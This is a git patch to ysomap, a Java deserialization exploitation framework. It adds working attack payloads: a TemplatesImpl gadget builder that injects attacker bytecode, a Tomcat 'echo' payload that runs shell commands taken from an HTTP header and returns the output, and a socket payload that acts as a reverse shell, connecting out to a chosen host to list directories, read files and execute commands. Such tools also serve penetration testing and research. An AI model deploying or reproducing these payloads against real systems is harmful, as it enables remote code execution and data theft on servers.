From 7347cf5d0b6f2a73807635e52685aa76efc89105 Mon Sep 17 00:00:00 2001 From: wh1t3P1g Date: Wed, 16 Jun 2021 11:36:22 +0800 Subject: [PATCH] update TemplatesImplBullet effect with EXEC|TOMCAT ECHO|SOCKET SHELL --- README.md | 3 +- .../bullets/jdk/TemplatesImplBullet.java | 179 +++++------------- .../src/main/java/echo/SocketEchoPayload.java | 174 +++++++++++++++++ .../src/main/java/echo/TomcatEchoPayload.java | 123 ++++++++++++ thirdparty/src/main/java/shell/Shell.java | 18 +- 5 files changed, 357 insertions(+), 140 deletions(-) create mode 100644 thirdparty/src/main/java/echo/SocketEchoPayload.java create mode 100644 thirdparty/src/main/java/echo/TomcatEchoPayload.java diff --git a/README.md b/README.md index 2f6d6d6..8acb2d6 100755 --- a/README.md +++ b/README.md @@ -48,7 +48,7 @@ CommonsCollection1和3,在分析时我们可以看到实际1和3的区别在 ### DONE - [x] 支持CommonsCollections系列payload -- [x] 支持执行效果bullet:远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入 +- [x] 支持执行效果bullet:远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入、socket shell。 - [x] 支持现有RMI系列攻击包 [原理1](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/) [原理2](http://blog.0kami.cn/2020/02/09/jndi-with-rmi/) [原理3](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/) - [x] 支持现有LDAP系列攻击包 [原理](http://blog.0kami.cn/2020/03/01/jndi-with-ldap/) - [x] 支持HTTP服务动态挂载恶意的class文件或jar文件 @@ -56,6 +56,7 @@ CommonsCollection1和3,在分析时我们可以看到实际1和3的区别在 - [x] 支持现有JMX系列攻击包 [原理](http://blog.0kami.cn/2020/03/10/java-jmx-rmi/) - [x] 支持fastjson JdbcRowSetImpl、TemplatesImpl gadget [原理](http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/) - [x] 支持现有XStream系列payload包 [原理](http://blog.0kami.cn/2020/04/18/talk-about-xstream-deserialization/) +- [x] 支持weblogic XMLDecoder payloads ### TODO diff --git a/core/src/main/java/ysomap/bullets/jdk/TemplatesImplBullet.java b/core/src/main/java/ysomap/bullets/jdk/TemplatesImplBullet.java index 9ffaf9f..578a824 100755 --- a/core/src/main/java/ysomap/bullets/jdk/TemplatesImplBullet.java +++ b/core/src/main/java/ysomap/bullets/jdk/TemplatesImplBullet.java @@ -7,14 +7,16 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; -import javassist.ClassPool; -import javassist.CtClass; +import echo.SocketEchoPayload; +import echo.TomcatEchoPayload; +import javassist.*; import ysomap.bullets.Bullet; import ysomap.common.annotation.*; import ysomap.core.util.ClassFiles; import ysomap.core.util.PayloadHelper; import ysomap.core.util.ReflectionHelper; +import java.io.IOException; import java.io.Serializable; /** @@ -33,22 +35,28 @@ public class TemplatesImplBullet implements Bullet { private Class transformerFactoryImpl; @NotNull - @Require(name = "body" ,detail = "evil code (start with 'code:') or evil commands") - private String body; + @Require(name = "type", detail = "3种方式(cmd,code,socket):\n" + + "1. cmd,body写入具体的系统命令;\n" + + "2. code, body写入具体需要插入执行的代码;\n" + + "3. socket, body写入`ip:port`\n") + private String type = "cmd"; + + @NotNull + @Require(name = "body" ,detail = "evil code body") + private String body = ""; + + @NotNull + @Require(name = "effect", type = "string", detail="选择载入payload的效果,可选default、TomcatEcho、SocketEcho") + private String effect = "default"; @Require(name = "exception", type = "boolean", detail = "是否需要以抛异常的方式返回执行结果,默认为false") private String exception = "false"; - @Require(name = "tomcatEcho", type = "boolean", detail = "选择tomcat回显,默认为false") - private String tomcatEcho = "false"; - public String action = "outputProperties"; @Override public Object getObject() throws Exception { - if(body.startsWith("code:")){// code mode - body = body.substring(5); - }else{// system command execute mode + if("cmd".equals(type)){ if("false".equals(exception)){ body = "java.lang.Runtime.getRuntime().exec(\"" + body.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + @@ -56,43 +64,61 @@ public Object getObject() throws Exception { }else{ body = PayloadHelper.makeExceptionPayload(body); } + }else if("code".equals(type) || "socket".equals(type)){ + // do nothing } + initClazz(); // create evil bytecodes + byte[] bytecodes = makeEvilByteCode(); + // arm evil bytecodes + Object templates = templatesImpl.newInstance(); + // inject class bytes into instance + ReflectionHelper.setFieldValue(templates, "_bytecodes", new byte[][] { bytecodes }); + ReflectionHelper.setFieldValue(templates, "_name", "Pwnr"); + ReflectionHelper.setFieldValue(templates, "_tfactory", transformerFactoryImpl.newInstance()); + return templates; + } + + private byte[] makeEvilByteCode() throws NotFoundException, CannotCompileException, IOException { ClassPool pool = new ClassPool(true); CtClass cc = null; - if("false".equals(tomcatEcho)){ + if("default".equals(effect)){ cc = ClassFiles.makeClassFromExistClass(pool, StubTransletPayload.class, new Class[]{abstractTranslet} ); ClassFiles.insertStaticBlock(cc, body); ClassFiles.insertSuperClass(pool, cc, abstractTranslet); - }else{ + }else if("TomcatEcho".equals(effect)){ cc = ClassFiles.makeClassFromExistClass(pool, TomcatEchoPayload.class, new Class[]{abstractTranslet} ); ClassFiles.insertSuperClass(pool, cc, abstractTranslet); + }else if("SocketEcho".equals(effect)){ + String[] remote = body.split(":"); + String code = "host=\""+remote[0]+"\";\nport="+remote[1]+";"; + pool.appendClassPath(new ClassClassPath(SocketEchoPayload.class)); + cc = pool.getCtClass(SocketEchoPayload.class.getName()); + cc.setName("SocketEcho"); + ClassFiles.insertStaticBlock(cc, code); + ClassFiles.insertSuperClass(pool, cc, abstractTranslet); } - byte[] bytecodes = cc.toBytecode(); - // arm evil bytecodes - Object templates = templatesImpl.newInstance(); - // inject class bytes into instance - ReflectionHelper.setFieldValue(templates, "_bytecodes", new byte[][] { bytecodes }); - ReflectionHelper.setFieldValue(templates, "_name", "Pwnr"); - ReflectionHelper.setFieldValue(templates, "_tfactory", transformerFactoryImpl.newInstance()); - return templates; + if(cc != null){ + return cc.toBytecode(); + }else{ + return new byte[0]; + } } - private void initClazz() throws ClassNotFoundException { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { templatesImpl = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); abstractTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); transformerFactoryImpl = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); - }else{ + } else { templatesImpl = TemplatesImpl.class; abstractTranslet = AbstractTranslet.class; transformerFactoryImpl = TransformerFactoryImpl.class; @@ -109,113 +135,4 @@ public void transform (DOM document, SerializationHandler[] handlers ) throws Tr public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } - public static class TomcatEchoPayload extends AbstractTranslet implements Serializable { - - public TomcatEchoPayload() throws Exception { - Object o; - Object resp; - String s; - boolean done = false; - Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); - for (int i = 0; i < ts.length; i++) { - Thread t = ts[i]; - if (t == null) { - continue; - } - s = t.getName(); - if (!s.contains("exec") && s.contains("http")) { - o = getFV(t, "target"); - if (!(o instanceof Runnable)) { - continue; - } - - try { - o = getFV(getFV(getFV(o, "this$0"), "handler"), "global"); - } catch (Exception e) { - continue; - } - - java.util.List ps = (java.util.List) getFV(o, "processors"); - for (int j = 0; j < ps.size(); j++) { - Object p = ps.get(j); - o = getFV(p, "req"); - resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]); - s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testecho"}); - if (s != null && !s.isEmpty()) { - resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); - resp.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(resp, new Object[]{"Testecho", s}); - done = true; - } - s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testcmd"}); - if (s != null && !s.isEmpty()) { - resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); - String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s}; - writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes()); - done = true; - } - if ((s == null || s.isEmpty()) && done) { - writeBody(resp, System.getProperties().toString().getBytes()); - } - - if (done) { - break; - } - } - if (done) { - break; - } - } - } - } - - private static void writeBody(Object resp, byte[] bs) throws Exception { - Object o; - Class clazz; - try { - clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); - o = clazz.newInstance(); - clazz.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}) - .invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)}); - resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o}); - } catch (ClassNotFoundException e) { - clazz = Class.forName("java.nio.ByteBuffer"); - o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs}); - resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o}); - } catch (NoSuchMethodException e) { - clazz = Class.forName("java.nio.ByteBuffer"); - o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs}); - resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o}); - } - } - - private static Object getFV(Object o, String s) throws Exception { - java.lang.reflect.Field f = null; - Class clazz = o.getClass(); - while (clazz != Object.class) { - try { - f = clazz.getDeclaredField(s); - break; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - if (f == null) { - throw new NoSuchFieldException(s); - } - f.setAccessible(true); - return f.get(o); - } - - - - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } - } } diff --git a/thirdparty/src/main/java/echo/SocketEchoPayload.java b/thirdparty/src/main/java/echo/SocketEchoPayload.java new file mode 100644 index 0000000..73630af --- /dev/null +++ b/thirdparty/src/main/java/echo/SocketEchoPayload.java @@ -0,0 +1,174 @@ +package echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import shell.Shell; + +import java.io.*; +import java.net.Socket; +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author wh1t3P1g + * @since 2021/6/16 + */ +public class SocketEchoPayload extends AbstractTranslet implements Serializable, Runnable { + + + private static String host; + private static int port; + + public SocketEchoPayload(){ + new Thread(this).start(); + } + + public String list(String path){ + if(path != null && !path.isEmpty()){ + try { + StringBuilder stringBuilder = new StringBuilder(); + File file = new File(path.trim()); + if(file.isDirectory()){ + File[] files = file.listFiles(); + for(File tmp:files){ + if(tmp.isDirectory()){ + stringBuilder.append("d:"+tmp.getAbsolutePath()).append("\n"); + }else if(tmp.isFile()){ + stringBuilder.append("f:"+tmp.getAbsolutePath()).append("\n"); + }else{ + stringBuilder.append("o:"+tmp.getAbsolutePath()).append("\n"); // other + } + } + return stringBuilder.toString(); + }else if(file.isFile()){ + return read(path); + } + } catch (Exception e) { + // do nothing + } + } + return null; + } + + public String read(String file) throws IOException { + StringBuilder stringBuilder = new StringBuilder(); + BufferedReader read = new BufferedReader( + new InputStreamReader(Files.newInputStream(Paths.get(file.trim())))); + String line2 = null; + while ((line2 = read.readLine()) != null) { + stringBuilder.append(line2).append("\n"); + } + return stringBuilder.toString(); + } + + public String exec(String command){ + StringBuilder result = new StringBuilder(); + + Process process = null; + BufferedReader bufferIn = null; + BufferedReader bufferError = null; + + try { + process = Runtime.getRuntime().exec(command); + + process.waitFor(); + + bufferIn = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8")); + bufferError = new BufferedReader(new InputStreamReader(process.getErrorStream(), "UTF-8")); + + String line = null; + while ((line = bufferIn.readLine()) != null) { + result.append(line).append('\n'); + } + while ((line = bufferError.readLine()) != null) { + result.append(line).append('\n'); + } + + } catch (Exception e) { + e.printStackTrace(); + } finally { + closeStream(bufferIn); + closeStream(bufferError); + + if (process != null) { + process.destroy(); + } + } + + return result.toString(); + } + + private static void closeStream(Closeable stream) { + if (stream != null) { + try { + stream.close(); + } catch (Exception e) { + // nothing + } + } + } + + public void run(){ + try { + String sepS = "===============Start==================\n"; + String sepE = "===============Ended==================\n"; + Socket socket = new Socket(host, port); + BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); + bufferedWriter.write("happy everyday!\n"); + bufferedWriter.write("help: list [dir] | read [file] | exec [cmd]\n"); + bufferedWriter.flush(); + + BufferedReader bufferedReader = new BufferedReader( + new InputStreamReader(socket.getInputStream())); + while (true) { + String line; + while ((line = bufferedReader.readLine()) == null) + ; + if(line.equals("exit")){ + return; + } + try{ + StringBuilder result = new StringBuilder(); + result.append(sepS); + if(line.startsWith("list")){ + String path = line.substring(5); + result.append(list(path)); + }else if(line.startsWith("read")){ + String file = line.substring(5); + result.append(read(file)); + }else if(line.startsWith("exec")){ + String command = line.substring(5); + result.append(exec(command)); + } + result.append(sepE); + bufferedWriter.write(result.toString()); + bufferedWriter.flush(); + }catch (Exception e){ + // + bufferedWriter.write("error, try again!"); + bufferedWriter.flush(); + } + } + + } catch (IOException e) { + // do nothing + } + } + + public static Shell newInstance(){ + return new Shell(); + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/thirdparty/src/main/java/echo/TomcatEchoPayload.java b/thirdparty/src/main/java/echo/TomcatEchoPayload.java new file mode 100644 index 0000000..af10daf --- /dev/null +++ b/thirdparty/src/main/java/echo/TomcatEchoPayload.java @@ -0,0 +1,123 @@ +package echo; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.Serializable; + +/** + * @author wh1t3P1g + * @since 2021/6/16 + */ +public class TomcatEchoPayload extends AbstractTranslet implements Serializable { + + public TomcatEchoPayload() throws Exception { + Object o; + Object resp; + String s; + boolean done = false; + Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); + for (int i = 0; i < ts.length; i++) { + Thread t = ts[i]; + if (t == null) { + continue; + } + s = t.getName(); + if (!s.contains("exec") && s.contains("http")) { + o = getFV(t, "target"); + if (!(o instanceof Runnable)) { + continue; + } + + try { + o = getFV(getFV(getFV(o, "this$0"), "handler"), "global"); + } catch (Exception e) { + continue; + } + + java.util.List ps = (java.util.List) getFV(o, "processors"); + for (int j = 0; j < ps.size(); j++) { + Object p = ps.get(j); + o = getFV(p, "req"); + resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]); + s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testecho"}); + if (s != null && !s.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); + resp.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(resp, new Object[]{"Testecho", s}); + done = true; + } + s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testcmd"}); + if (s != null && !s.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); + String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s}; + writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes()); + done = true; + } + if ((s == null || s.isEmpty()) && done) { + writeBody(resp, System.getProperties().toString().getBytes()); + } + + if (done) { + break; + } + } + if (done) { + break; + } + } + } + } + + private static void writeBody(Object resp, byte[] bs) throws Exception { + Object o; + Class clazz; + try { + clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); + o = clazz.newInstance(); + clazz.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}) + .invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)}); + resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o}); + } catch (ClassNotFoundException e) { + clazz = Class.forName("java.nio.ByteBuffer"); + o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs}); + resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o}); + } catch (NoSuchMethodException e) { + clazz = Class.forName("java.nio.ByteBuffer"); + o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs}); + resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o}); + } + } + + private static Object getFV(Object o, String s) throws Exception { + java.lang.reflect.Field f = null; + Class clazz = o.getClass(); + while (clazz != Object.class) { + try { + f = clazz.getDeclaredField(s); + break; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + if (f == null) { + throw new NoSuchFieldException(s); + } + f.setAccessible(true); + return f.get(o); + } + + + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/thirdparty/src/main/java/shell/Shell.java b/thirdparty/src/main/java/shell/Shell.java index 2033dc9..6cdef57 100644 --- a/thirdparty/src/main/java/shell/Shell.java +++ b/thirdparty/src/main/java/shell/Shell.java @@ -2,6 +2,7 @@ import java.io.*; import java.net.Socket; +import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; @@ -9,13 +10,13 @@ * @author wh1t3P1g * @since 2020/9/5 */ -public class Shell extends Thread { +public class Shell implements Runnable { private static String host; private static int port; public Shell(){ - start(); + new Thread(this).start(); } public String list(String path){ @@ -25,13 +26,14 @@ public String list(String path){ File file = new File(path.trim()); if(file.isDirectory()){ File[] files = file.listFiles(); + if(files == null) return null; for(File tmp:files){ if(tmp.isDirectory()){ - stringBuilder.append("d:"+tmp.getAbsolutePath()).append("\n"); + stringBuilder.append("d:").append(tmp.getAbsolutePath()).append("\n"); }else if(tmp.isFile()){ - stringBuilder.append("f:"+tmp.getAbsolutePath()).append("\n"); + stringBuilder.append("f:").append(tmp.getAbsolutePath()).append("\n"); }else{ - stringBuilder.append("o:"+tmp.getAbsolutePath()).append("\n"); // other + stringBuilder.append("o:").append(tmp.getAbsolutePath()).append("\n"); // other } } return stringBuilder.toString(); @@ -68,10 +70,10 @@ public String exec(String command){ process.waitFor(); - bufferIn = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8")); - bufferError = new BufferedReader(new InputStreamReader(process.getErrorStream(), "UTF-8")); + bufferIn = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8)); + bufferError = new BufferedReader(new InputStreamReader(process.getErrorStream(), StandardCharsets.UTF_8)); - String line = null; + String line; while ((line = bufferIn.readLine()) != null) { result.append(line).append('\n'); }